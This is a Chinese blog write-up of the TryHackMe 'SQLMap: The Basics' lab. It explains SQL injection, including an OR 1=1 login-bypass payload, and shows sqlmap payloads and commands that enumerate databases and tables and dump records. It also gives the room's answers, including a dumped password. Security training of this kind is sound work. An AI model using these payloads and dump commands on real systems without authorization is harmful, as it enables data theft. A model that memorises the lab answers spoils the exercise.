【THM】SQLMap:The Basics(SQLMap:基础知识)-学习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/r/room/sqlmapthebasics

本文相关内容:了解SQL注入并通过SQLMap工具来利用此类漏洞。

image-20250107223620943

介绍

SQL 注入是一种常见的漏洞,长期以来一直是网络安全领域的热门话题。要理解此漏洞,我们首先必须了解什么是数据库,以及网站如何与数据库交互。

数据库是可以存储、修改和检索的数据集合。它以结构化格式存储来自多个应用程序的数据,使存储、修改和检索变得简单高效。你每天都会与多个网站互动。这些网站包含一些需要用户输入的网页,例如,一个带有登录页面的网站会要求你输入登录凭据,当你输入凭据后,它会检查凭据是否正确,如果正确则让你登录。当许多用户登录该网站时,该网站如何记录所有这些用户的数据并在身份验证过程中对其进行验证?这一切都是在数据库的帮助下完成的,这些网站拥有存储了用户凭据和其他信息并能在需要时进行信息检索的数据库。因此,当你在网站的登录页面输入凭据时,该网站会与其数据库进行交互,以检查这些凭据是否正确。同样,如果你有一个用于搜索某些内容的输入字段,例如,一家书店网站所提供的输入字段可以允许你搜索可供出售的书籍,那么当你搜索任何一本书时,该网站都将会与其数据库进行交互以获取该书籍的记录并将相关的书籍信息显示在网站上。

现在,我们知道网站会请求数据库检索、存储或修改任何数据。那么,这种交互是如何进行的呢?数据库是由数据库管理系统 (DBMS) 进行管理的,常见的数据库管理系统有MySQL、PostgreSQL、SQLite 或 Microsoft SQL Server等。这些DBMS能够理解结构化查询语言(SQL-Structured Query Language),因此,任何应用程序或网站在与数据库进行交互时都会用到SQL查询。

image-20250111172504189

image-20250111172525005

image-20250111172546041

image-20250111172607901

本文将介绍SQL注入的基础知识以及如何使用自动化工具SQLMap执行SQL注入,此外,本文还将通过一些实践练习示例来深入探讨该主题。

学习目标

  • 了解SQL注入漏洞;
  • 通过SQLMap工具狩猎SQL注入漏洞。

前置学习条件

拥有扎实的SQL基础知识对于学习本文的内容将很有帮助,但这并不是完成本文学习所必需的。

答题

哪种语言可以构建网站与其数据库之间的交互?

SQL-结构化查询语言(Structured Query Language)

image-20250111172703069

SQL注入漏洞

在上一个小节中,我们介绍了网站和应用程序如何与数据库交互,它们会以结构化的方式存储、修改和检索数据。在本小节中,我们将了解应用程序如何通过SQL查询与数据库进行交互,以及攻击者如何利用这些SQL查询来执行SQL注入攻击。

注意:在继续学习之前,请确保仅在应用程序所有者的许可下尝试手动或自动化的 SQL 注入方法。

image-20250111172746134

让我们以一个登录页面为例,该页面会要求你输入正确的用户名和密码以进行登录,相关数据如下所示:

Username: John
Password: Un@detectable444

在我们输入了正确的用户名和密码后,目标网站将接收到它,然后使用我们所提供的凭据进行SQL查询,并将其发送到相关的数据库。

SELECT * FROM users WHERE username = 'John' AND password = 'Un@detectable444';

上面的SQL查询将在数据库中执行,根据此查询,数据库将检查名为John的用户和内容为Un@detectable444的密码。如果确实找到了这样的用户,它会将该用户的详细信息返回给应用程序。请注意,上述查询只有当给定的用户和密码在数据库中同时匹配时才会成功,因为它们之间是用布尔逻辑运算符“AND”分​​隔的。

有时,当输入未经正确清理时,即用户输入未经验证,那么攻击者就可以操纵输入并编写将在数据库中执行的恶意SQL查询,以执行攻击者所期望的操作。SQL注入在数字世界中具有非常有害的影响,因为所有企业、组织都会将他们的数据(包括关键信息)存储在数据库中,而成功的SQL注入攻击可能会危及他们的关键数据。

假设我们在上面所讨论的网站登录页面缺乏严谨的输入验证和输入清理,那么这就意味着它容易受到SQL注入攻击的影响。在不知道用户John的密码的情况下,攻击者可能会在给定的字段中尝试输入以下内容:

Username: John
Password: abc' OR 1=1;-- -

我们可以看到,攻击者输入了一个随机字符串abc和一个被注入的字符串' OR 1=1;-- -。现在,网站发送到数据库的SQL查询将变为以下内容:

SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -';

这个查询语句看起来与之前正常的SQL查询类似,但是它使用运算符OR添加了另一个必定成立的条件。该SQL查询将检查数据库中是否存在用户名John,然后,它将继续检查用户John是否拥有密码abc (因为不知道具体密码,攻击者在此选择输入随机密码)。理想情况下,SQL查询应该在此处失败,因为网站所期望的是用户名和密码都输入正确,因为用户和密码之间有一个AND运算符;但是,上述这个查询在密码和语句1=1之间添加了另一个条件OR ,所以其中任何一个条件为真都会使得整个SQL查询成功,现在密码验证失败,此查询将继续检查下一个条件,即检查1=1是否成立,众所周知, 1=1总是true,因此它会忽略之前输入的随机密码,并认为该查询语句总体为true,从而成功地执行此查询,而且上述查询语句末尾的-- -还会注释掉1=1之后的任何内容,这意味着上述查询将成功执行,攻击者也将成功地登录到名为 John 的用户帐户。

这里需要注意的一点是:我们要在abc之后使用单引号' 。如果没有这个单引号',那么'abc OR 1=1;-- -'整个字符串将被视为密码字段,这不是我们所期望的;但是如果我们在abc之后添加一个单引号' ,那么'abc' OR 1=1;-- -'将被视为密码字段,这个单引号会将查询中的原始字符串abc闭合起来,并允许我们引入逻辑条件OR 1=1 ,而该条件始终为真(true)。

tips:

为什么在执行SQL注入时使用-- -

  1. 防御输入截断:有些系统可能会在特定长度后截断输入,多一个-能确保注释完整保留
  2. 绕过简单过滤:一些简单的输入过滤器可能只检测--而不会检测-- -
  3. 视觉分隔:额外的-使注释起始位置在payload中更明显
  4. 兼容性考虑:虽然--是标准注释,但不同数据库实现可能有差异,-- -的兼容性更好

在合法的安全测试中(必须有授权!),-- -通常比--更受青睐,因为:

  • 更容易绕过简单过滤
  • 在日志中更显眼
  • 即使--后的空格被处理也能正常工作

答题

哪个布尔运算符会检查运算符的至少一侧是否为 true,以使整个条件为 true?

OR

SQL 查询中的 1=1 总是 true 吗? (YEA/NAY,是/否)

YEA

image-20250111173002077

自动化 SQL 注入工具

执行SQL注入攻击涉及发现应用程序内部的SQL注入漏洞并且需要尝试操纵数据库,然而,手动完成所有这些操作可能需要我们花费时间并且还要努力验证漏洞。

SQLMap是一个可用于检测和利用 Web 应用程序中的SQL注入漏洞的自动化工具。SQLMap简化了识别SQL注入漏洞的流程,该工具会被内置于某些Linux发行版本的操作系统中,但是如果没有被内置的话,你也可以轻松地安装SQLMap工具。

由于这是一个命令行工具,所以你必须打开Linux操作系统的终端才能使用它。SQLMap的--help命令将列出你可以使用的所有可用的参数标志。如果你不想手动地将参数标志添加到每个命令中,你可以将--wizard参数标志与sqlmap命令结合使用。当你使用此参数标志时,SQLMap工具将引导你完成每个攻击步骤并询问一些问题以完成扫描,这对于初学者来说是一个完美的选择。

#Interactive wizard-交互式向导
user@ubuntu:~$ sqlmap --wizard
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.2.4#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]

[*] starting at 08:42:50

[08:42:50] [INFO] starting wizard interface
Please enter full target URL (-u): 

SQLMap的--dbs参数标志可以帮助你提取所有的数据库名称。在了解了数据库名称后,你可以使用-D database_name --tables来提取有关该数据库的表的信息。成功获取表后,如果你还想枚举这些表中的记录,可以使用-D database_name -T table_name --dump。SQLMap工具中的不同参数标志可以让你从数据库中提取相关的详细信息。现在,让我们以一个实际场景为例,并使用刚才提及的这些参数标志来利用存在 SQL 注入漏洞的 Web 应用程序。

我们的第一步是查找可能存在漏洞点的URL或请求。你可能经常会遇到一些使用GET参数来检索数据的URL,例如,像下面这样的URL:

http://sqlmaptesting.thm/search?cat=1

此URL正在使用值为1的参数cat ,如果你看到任何 Web 应用程序在 URL 中使用 GET 参数来检索数据,那么你可以使用SQLMap工具中的-u标志来尝试测试这样的URL,这被认为是基于 HTTP GET方法 的测试。当Web应用程序使用 URL 中的 GET 参数从搜索中检索数据时,你就可以使用这样的SQLMap测试方法。

在这里,我们将使用一个可能存在SQL注入漏洞的网站URL来进行演示:http://sqlmaptesting.thm。假设这个网站有一个搜索选项,当你点击这个搜索选项并搜索一些东西时,此时 URL 就变成了 http://sqlmaptesting.thm/search/cat=1 ,它将使用 URL 中的 GET 参数 cat=1 来从数据库中提取信息。众所周知,带有 GET 参数的 URL 很容易受到SQL注入攻击的影响;让我们尝试使用SQLMap来扫描一下这个 URL ,看看它是否存在SQL注入漏洞。

#Testing URL for SQLinjection 针对目标URL测试SQL注入
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1
      __H__
 ___ ___[']_____ ___ ___  {1.2.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:43:49] [INFO] testing connection to the target URL
[08:43:49] [INFO] heuristics detected web page charset 'ascii'
[08:43:49] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[08:43:49] [INFO] testing if the target URL content is stable
[08:43:50] [INFO] target URL content is stable
[08:43:50] [INFO] testing if GET parameter 'cat' is dynamic
[text removed]
[08:45:04] [INFO] GET parameter 'cat' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[text removed]
[08:45:08] [INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: cat=1 AND EXTRACTVALUE(1846,CONCAT(0x5c,0x716a787071,(SELECT (ELT(1846=1846,1))),0x7170766a71))

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cat=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT CONCAT(0x716a787071,0x714d486661414f6456787a4a55796b6c7a78574f7858507a6e6a725647436e64496f4965794c6873,0x7170766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HMgq
---
[08:45:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[text removed]

上面终端中的输出结果向我们显示了目标URL中可能存在的不同类型的SQL注入,例如基于布尔的盲注、基于错误的注入、基于时间的盲注以及 UNION 查询注入。这些注入是利用SQL注入漏洞的不同技术。例如,在基于布尔的盲注中,SQL查询会被修改,并会在查询中包含布尔表达式(该表达式始终为真,例如1=1)以提取信息。而在基于错误的SQL注入中,某些查询会被故意修改,从而在数据库所发送的结果中产生错误,这些错误通常会包含有关数据的有价值的信息。类似地,我们也可以使用其他SQL注入技术来利用数据库。

我们针对目标http://sqlmaptesting.thm/search/cat=1执行sqlmap命令的结果将告诉我们此 URL 上可能存在不同类型的 SQL 注入。现在,让我们使用之前所知的一些 SQLMap 参数标志来从数据库中提取一些有价值的数据。

为了获取数据库信息,我们可以使用标志--dbs ,让我们针对上述易受攻击的 URL 来尝试这个参数标志:

#Extracting databases names 提取数据库名称
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1 --dbs
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:49:00] [INFO] resuming back-end DBMS' mysql' 
[08:49:00] [INFO] testing connection to the target URL
[08:49:01] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175
[text removed]    
[08:49:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:49:01] [INFO] fetching database names
available databases [2]:
[*] users
[*] members

[text removed]

执行上述命令后,我们得到了两个数据库名称,我们可以选择users数据库并获取其中的表,为此我们将在标志-D之后定义要使用的数据库并且在命令的末尾使用--tables标志以提取指定数据库中的所有表的名称。

#Extracting tables 提取表格
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D users --tables
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:50:46] [INFO] resuming back-end DBMS' mysql' 
[08:50:46] [INFO] testing connection to the target URL
[08:50:46] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175
[text removed]
[08:50:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:50:46] [INFO] fetching tables for database: 'users'
Database: acuart
[3 tables]
+-----------+
| johnath   |
| alexas    |
| thomas    |     
+-----------+

[text removed]

现在我们已经获得了users数据库中所有可用的表名,接下来让我们转储thomas表中的记录。为此,我们将使用-D标志定义数据库,使用-T标志定义表,为了提取指定表的记录,我们还需要使用--dump标志来进行信息转储。

#Extracting records from a table 从一个表中提取数据记录
user@ubuntu:~$ sqlmap -u http://sqlmaptesting.thmsearch/cat=1 -D users -T thomas --dump
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[text removed]
[08:51:48] [INFO] resuming back-end DBMS' mysql' 
[08:51:48] [INFO] testing connection to the target URL
[08:51:49] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 2175=2175
[text removed]
[08:51:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[08:51:49] [INFO] fetching columns for table 'thomas' in database 'users'
[08:51:49] [INFO] fetching entries for table 'thomas' in database' users'
[08:51:49] [INFO] recognized possible password hashes in column 'passhash'
do you want to store hashes to a temporary file for eventual further processing n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: users
Table: thomas
[1 entry]
+---------------------+------------+---------+
| Date                | name       | pass    |    
+---------------------+------------+----------
| 09/09/2024          | Thomas THM | testing |    
+---------------------+------------+---------+

[text removed]

此外,你还可以使用基于 POST 的测试方法,此时应用程序将在请求正文中发送数据,而不是在 URL 中发送数据。例如,登录表单、注册表单等。要使用此方法,你必须在登录页面或注册页面上拦截 POST 请求并将其保存为一个文本文件,然后你就可以使用以下命令将保存在文本文件中的请求提供给SQLMap工具进行测试:

#Testing an intercepted request 测试被拦截的请求
user@ubuntu:~$ sqlmap -r intercepted_request.txt

注意:本文并没有展开介绍如何拦截和捕获 POST 请求,但你可以使用BurpSuite工具来完成相关的操作。

答题

SQLMap 工具中的哪个参数标志可用于提取所有可用的数据库信息?

--dbs

SQLMap 用于从“members”数据库中提取所有表的完整命令是什么? (存在漏洞点的URL:http://sqlmaptesting.thm/search/cat=1)

sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D members --tables

image-20250526100826189

实践练习

在本小节中,TryHackMe为我们提供了一个易受SQL注入攻击影响的目标Web应用程序,以供我们测试SQL注入。在与本文相关的TryHackMe实验房间中,我们可以通过点击如下所示的“Start Machine”按钮来部署目标虚拟机,随后目标虚拟器将启动,并且实验房间页面将向我们显示该目标机器所对应的 IP 地址。

image-20250111173510817

然后,我们可以通过单击实验房间页面顶部的“Start AttackBox”按钮来启动AttackBox作为我们的攻击机,你将使用这台攻击机并通过SQLMap工具来针对目标机器进行SQL注入攻击测试。

image-20250526100954805

目标 Web 应用程序有一个托管在http://MACHINE_IP/ai/login的登录页面,当我们访问此 URL 时,将看到一个容易受到SQL注入攻击影响的登录页面。

tips:注意在URL中填充目标机器的ip地址。

image-20250111173526679

在上一个小节中,我们知道,如果我们在URL中看到GET参数,那么它们就可能容易受到SQL注入的影响,我们可以复制URL以将其与sqlmap命令一起使用。我们还知道,如果有一个POST请求,并且数据是在请求正文中而不是通过 URL 发送的,那么我们就可以拦截该请求并将其与sqlmap命令一起使用来尝试利用SQL注入漏洞(如果此类漏洞存在的话)。

然而,在本小节中的登录页面上,我们使用了GET请求,但是该请求的参数在URL中不可见。为了使用SQLMap测试该URL,我们还需要具体的带GET参数的URL。

因此,为了获取完整的带GET参数的URL,我们可以右键单击该登录页面,然后单击inspect(检查)选项,此过程可能因浏览器不同而略有差异,然后我们应该选中并打开浏览器中的“网络-Network”选项卡;而且我们还必须在用户名和密码字段中输入一些测试凭据并单击登录按钮,此时我们将能够看到相关的GET请求,在浏览器中单击该请求,我们就可以看到带有参数的完整GET请求。我们可以复制这个完整的URL,并将其与sqlmap命令一起使用,以发现其中的SQL注入漏洞并利用它。

完整的请求如下图所示:

image-20250111173544817

注意:如果你无法通过上述步骤提取到我们想要的目标URL,你可以选择直接复制下面的内容。

#注意在URL中填充目标机器的ip地址
http://MACHINE_IP/ai/includes/user_login?email=test&password=test

我们将针对这个URL运行在上一个小节中所讨论的命令,并回答本小节中给出的问题;另外,请记住将你的URL包含在单引号'内,这是为了避免在终端中因为出现特殊字符而导致的错误,例如?

注意:你可能无法通过简单的扫描获得想要的结果,为此,你可以在sqlmap命令末尾添加--level=5参数标志以执行深度扫描;其次,在运行命令时,sqlmap工具可能会问你一些问题,请确保按如下的方式进行回复以顺利地运行sqlmap扫描。

  • 看起来后端的 DBMS 是“MySQL”,你想跳过特定于其他 DBMS 的测试payloads(有效负载)吗? [是/否]: y
  • 对于剩余的测试,你是否想要包括所有针对‘MySQL’扩展提供风险(1)值的测试? [是/否]: y
  • 无法利用 NULL 值进行注入,你想尝试为选项“--union-char”使用随机整数值吗? [是/否]: y
  • GET 参数“email”存在漏洞,你想继续测试其他参数(如果有的话)吗? [是/否]: n

答题

tips:请部署用于实验的目标虚拟机与AttackBox攻击机。

此 Web 应用程序中有多少个可用的数据库?(使用 --dbs --level=5 参数标志来提取所有可用的数据库)

#在攻击机上的终端中执行命令
#注意在URL中填充目标机器的ip地址
#sqlmap -u 'http://MACHINE_IP/ai/includes/user_login?email=test&password=test' --dbs --level=5
sqlmap -u 'http://10.10.86.9/ai/includes/user_login?email=test&password=test' --dbs --level=5

image-20250526101755029

image-20250526101834742

6

“ai”数据库中可用的表的名称是什么?(使用 -D ai --tables --level=5 参数标志来提取数据库中的可用表)

#在攻击机上的终端中执行命令
#注意在URL中填充目标机器的ip地址
#sqlmap -u 'http://MACHINE_IP/ai/includes/user_login?email=test&password=test' -D ai --tables --level=5
sqlmap -u 'http://10.10.86.9/ai/includes/user_login?email=test&password=test' -D ai --tables --level=5

image-20250526101932356

user

邮箱test@chatai.com的密码是多少?(转储“ai”数据库中的“user”表的记录)

#在攻击机上的终端中执行命令
#注意在URL中填充目标机器的ip地址
#sqlmap -u 'http://MACHINE_IP/ai/includes/user_login?email=test&password=test' -D ai -T user --level=5 --dump
sqlmap -u 'http://10.10.86.9/ai/includes/user_login?email=test&password=test' -D ai -T user --level=5 --dump

image-20250526102051306

image-20250526102121787

12345678

image-20250526102204646

posted @ 2025-05-26 10:27  Hekeatsll  阅读(187)  评论(0)    收藏  举报